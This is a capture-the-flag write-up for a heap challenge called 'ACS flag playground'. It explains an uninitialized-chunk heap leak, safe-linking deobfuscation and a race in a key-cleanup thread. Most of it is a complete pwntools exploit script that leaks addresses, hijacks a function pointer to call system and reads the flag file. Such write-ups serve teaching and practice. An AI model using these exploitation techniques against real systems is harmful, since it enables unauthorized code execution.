# ACS
## ACS flag playground
* The first bug is that in `add_flag` function

* It doesn't initialize old data of chunk returned by malloc, we can get heap leak of this
* Since libc is 2.35 version so we have to deofuscate
```python=
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
```
* That's all we can get by that bug. The second bug is in the thread setup at the start of the program

* It will clean up the key after each 15 sec
* The bug is that it stop 1 sec after handle a key

* So in this stop, we can change the keys(delete, edit, ...)
* The problem is that it may crash when it comes to function `increment` if we delete not correct:v
* After many hours fuzzing, i can exploit it without make it crash
* It depends on the order of note it will handle, run program i see that it will handle the key by `randnum`
* So that i need to setup the keys before
* Here's is how i leak elf(by printing the func pointer of key)
```python=
while True:
arr = []
r1, a = add_key(10, b'A', 2)
while(r1 > 500):
del_key(r1)
r1, a = add_key(10, b'A', 2)
r2, a = add_key(10, b'A', 2)
while(r2 <= r1 or r2 > 1500):
del_key(r2)
r2, a = add_key(10, b'A', 2)
r3, a = add_key(10, b'A', 2)
while(r3 <= r2 or r3 > 2500):
del_key(r3)
r3, a = add_key(10, b'A', 2)
r4, a = add_key(10, b'A', 2)
while(r4 < r3 or r4 > 3300):
del_key(r4)
r4, a = add_key(10, b'A', 2)
r5, a = add_key(10, b'A', 2)
while(r5 < r4):
del_key(r5)
r5, a = add_key(10, b'A', 2)
# r5, a = add_key(10, b'A', 2)
arr.append(r1)
arr.append(r2)
arr.append(r3)
arr.append(r4)
arr.append(r5)
# print(r1)
# print(r2)
# print(r3)
# print(r4)
arr.sort()
break
# print(arr)
# print(arr)
# context.log_level = 'debug'
print('Done')
# GDB(p)
payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n'
ru(B'CoolBreak')
ru(B'CoolBreak')
s(payload)
# p.interactive()
ru(b'invalid finder, ')
leak = r(6)
# if b'\xc0' not in leak:
# print('Fail')
# p.close()
# continue
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
```
* Setup keys in order then delete when the thread stop
* I do the same when i leak libc and call system
* I dont know why when i call `system('/bin/sh')` it didn't work so i have to call `system('cat /home/acs_user/flag')`
```python=
#!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('prob', checksec=False)
libc = ELF('libc.so.6', checksec=False)
base = None
libcbase = None
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def get_libc(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
while True:
data = f.readline()
# print(data)
if 'libc.so.6' not in data:
continue
exe_base = int(data.split('-')[0], 16)
break
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def rop_binsh(no_ret=1):
rop = ROP(libc)
ret = rop.find_gadget(['ret']) #rop.raw(rop.find_gadget(["pop rbp", "ret"]))
for i in range(no_ret):
rop.raw(ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def add_key(size, key, type=1):
#sla(B'select one', b'1')
sl(B'1')
sla(b'finder', str(size).encode())
sa(b'keyword', key)
sla(b'Type of your keyword', str(type).encode())
ru(b'keyword is ')
leak = ru(b'.')[:-1]
ru(b'identification number is ')
num = ru(B'.')[:-1]
num = int(num.decode(), 10)
return num, leak
def del_key(key):
sl(B'3')
sla(b'identification', str(key).encode())
def modify(key, type=1):
sl(b'2')
sla(b'identification number', str(key).encode())
sla(B'type plz ', str(type).encode())
def GDB(proc):
if not args.REMOTE:
print(hex(libcbase + 0x219c80))
gdb.attach(p, gdbscript=f'''
#set *({0x2A02 + base})=4
b *({base} + 0x2b23)
b *({base} + 0x2abd)
c
heap set-arena {libcbase + 0x219c80}
''')
while True:
if args.REMOTE:
p = remote(sys.argv[1], sys.argv[2])
else:
p = process(stdin=PTY)
sleep(1)
base = get_exe_base(p.pid)
libcbase = get_libc(p.pid)
print('libc: ', hex(libcbase))
r1, a = add_key(10, b'hihi', 1)
r2, a = add_key(10, b'x', 1)
while(r2 > r1):
del_key(r2)
r2, a = add_key(10, b'A', 2)
print(r1)
print(r2)
del_key(r1)
del_key(r2)
r3, leak = add_key(24, b'A')
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
for i in range(0x100):
# print(hex(i) + ': ', end='')
# print(hex(deobfuscate((leak & 0xffffffffffffff00) + i)))
val = deobfuscate((leak & 0xffffffffffffff00) + i)
if(val & 0xfff) == 0:
break
print('Val: ', hex(val))
heap = val - 0x12000
print('heap: ', hex(heap))
del_key(r3)
#context.log_level = 'debug'
# r1, a = add_key(10, b'X', 1)
# add_key(5, b'A', 2)
# add_key(5, b'A', 2)
ru(b'SEND SYSTEM END')
while True:
arr = []
r1, a = add_key(10, b'A', 2)
while(r1 > 500):
del_key(r1)
r1, a = add_key(10, b'A', 2)
r2, a = add_key(10, b'A', 2)
while(r2 <= r1 or r2 > 1500):
del_key(r2)
r2, a = add_key(10, b'A', 2)
r3, a = add_key(10, b'A', 2)
while(r3 <= r2 or r3 > 2500):
del_key(r3)
r3, a = add_key(10, b'A', 2)
r4, a = add_key(10, b'A', 2)
while(r4 < r3 or r4 > 3300):
del_key(r4)
r4, a = add_key(10, b'A', 2)
r5, a = add_key(10, b'A', 2)
while(r5 < r4):
del_key(r5)
r5, a = add_key(10, b'A', 2)
# r5, a = add_key(10, b'A', 2)
arr.append(r1)
arr.append(r2)
arr.append(r3)
arr.append(r4)
arr.append(r5)
# print(r1)
# print(r2)
# print(r3)
# print(r4)
arr.sort()
break
# print(arr)
# print(arr)
# context.log_level = 'debug'
print('Done')
# GDB(p)
payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n'
ru(B'CoolBreak')
ru(B'CoolBreak')
s(payload)
# p.interactive()
ru(b'invalid finder, ')
leak = r(6)
# if b'\xc0' not in leak:
# print('Fail')
# p.close()
# continue
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
ru(B'CoolBreak')
# payload = b'3\n' + f'{arr[3]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[1]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[4]}'.encode() + b'\n'
# s(payload*3)
elf.address = leak - 0x37c0
print('elf: ', hex(elf.address))
ru(b'SEND SYSTEM END')
print('here')
# pause()
while True:
arr = []
r1, a = add_key(10, b'A', 2)
while(r1 > 500):
del_key(r1)
r1, a = add_key(10, b'A', 2)
r2, a = add_key(10, b'A', 2)
while(r2 <= r1 or r2 > 1500):
del_key(r2)
r2, a = add_key(10, b'A', 2)
r3, a = add_key(10, b'A', 2)
while(r3 <= r2 or r3 > 1500):
del_key(r3)
r3, a = add_key(10, b'A', 2)
r4, a = add_key(10, b'A', 2)
while(r4 < r3 or r4 > 3300):
del_key(r4)
r4, a = add_key(10, b'A', 2)
r5, a = add_key(10, b'A', 2)
while(r5 < r4):
del_key(r5)
r5, a = add_key(10, b'A', 2)
# r5, a = add_key(10, b'A', 2)
arr.append(r1)
arr.append(r2)
arr.append(r3)
arr.append(r4)
arr.append(r5)
# print(r1)
# print(r2)
# print(r3)
# print(r4)
arr.sort()
break
# print(arr)
# print(arr)
# context.log_level = 'debug'
print('Done')
# GDB(p)
CALL_FUNC = elf.address + 0x2B1C
payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[3]}'.encode() + b'\n'
payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
payload += b'1\n' + b'24\n' + p64(1) + p64(0x11111) + p64(elf.plt['printf']) + b'\xe0' + b'3\n'
payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n'
# ru(f'identification number {arr[0]}'.encode())
ru(B'CoolBreak')
ru(B'CoolBreak')
s(payload)
ru(b'0x')
leak = '0x' + r(12).decode()
leak = int(leak, 16)
print('leak: ', hex(leak))
libc.address = leak - 0x114a6f
print('libc: ', hex(libc.address))
ru(b'SEND SYSTEM END')
print('F')
# input("Send")
# pause()
# GDB(p)
arr = []
r1, a = add_key(10, b'A', 2)
while(r1 > 1000):
del_key(r1)
r1, a = add_key(10, b'A', 2)
r2, a = add_key(10, b'A', 2)
while(r2 <= r1 or r2 > 2500):
del_key(r2)
r2, a = add_key(10, b'A', 2)
r3, a = add_key(10, b'A', 2)
while(r3 <= r2 or r3 > 3500):
del_key(r3)
r3, a = add_key(10, b'A', 2)
# r4, a = add_key(10, b'A', 2)
# while(r4 < r3):
# del_key(r4)
# r4, a = add_key(10, b'A', 2)
arr.append(r1)
arr.append(r2)
arr.append(r3)
# arr.append(r4)
arr.sort()
context.log_level = 'debug'
payload = b'3\n' + f'{arr[1]}'.encode() + b'\n'
payload += b'3\n' + f'{arr[2]}'.encode() + b'\n'
# payload += b'3\n' + f'{arr[0]}'.encode() + b'\n'
# payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n'
payload += b'1\n' + b'24\n' + p64(1) + b'/bin/sh\x00'.ljust(8, b'\x00') + p64(libc.sym['system']) + b'\x70' + b'3\n'
# payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n'
payload += b'1\n' + b'24\n' + b'cat /home/acs_ctf/flag\x00'.ljust(25, b'\x00') + b'3\n'
ru(B'CoolBreak')
ru(B'CoolBreak')
sl(payload)
# sl(b'cat /home/acs_ctf/flag')
p.interactive()
```